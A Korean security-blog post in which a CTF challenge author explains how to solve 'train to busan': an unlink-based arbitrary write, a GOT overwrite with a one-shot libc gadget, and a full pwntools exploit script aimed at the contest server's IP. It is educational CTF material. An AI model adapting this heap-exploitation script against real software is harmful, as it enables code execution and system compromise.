Notice
Recent Posts
Recent Comments
Link
«   2025/06   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

H3X0R CTF train to busan 본문

Security/Pwnable

H3X0R CTF train to busan

Cdor1 2017. 1. 11. 01:58

내가 만든 문젠데 너무 어리바리 대답해서 질문오는분들께 죄송했다....

구조체로 구현한 double-linked-list에서 unlink연산을 이용해 arbitrary memory overwrite을 해 쉘을 얻어내는 문제인데

bss영역에 마침 malloc pointer들이 나열되어 있으므로 이곳에 unlink 연산을 이용해 got를 써넣고 

modify 메뉴로 got를 oneshot 가젯으로 덮어서 익스플로잇 하면 되는 문제이다.

(문제 풀어주신분들 감사합니다 ㅎㅎ)


from pwn import *
s = remote('52.199.49.117' ,10006)
elf = ELF('/home/cdor1/pwnable/train_busan')

def add(data):
	print s.recvuntil('5. EXIT')
	s.sendline('1')
	print s.recvuntil('INPUT Train class : ')
	s.sendline(data)

def unlink():
	print s.recvuntil('5. EXIT')
	s.sendline('2')

def modify(num, data):
	print s.recvuntil('5. EXIT')
	s.sendline('3')
	print s.recvuntil('WHICH Train do you want to modify? : ')
	s.sendline(str(num))
	print s.recvuntil('class : ')
	s.sendline(data)

def exit():
	print s.recvunti('5. EXIT')
	s.sendline('5')

print s.recvuntil('5. EXIT')
s.sendline('1')
print s.recvuntil('system : 0x')
system = int(s.recvuntil('\n')[:-1],16)
libc_base = system - 0x45390
one_shot = libc_base + 0x45216
log.info('system : ' + hex(system))
log.info('base : ' + hex(libc_base))
log.info('one_shot : ' + hex(one_shot))

add('aaaa')
add('bbbb')
add('cccc')

payload = 'A'*8
payload += p64(0x21)
payload += p64(0x602048)
payload += p64(0x602098)
modify(1, payload)
unlink()
modify(3, p64(one_shot))
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

SECCON CTF 2016 checker  (0) 2017.01.11
Plaid CTF 2015 prodmanager  (0) 2017.01.11
HITCON Qual 2016 House of orange  (0) 2017.01.10
RCTF 2015 shaxian  (0) 2017.01.10
Christmas CTF Who is solo  (0) 2017.01.09
Comments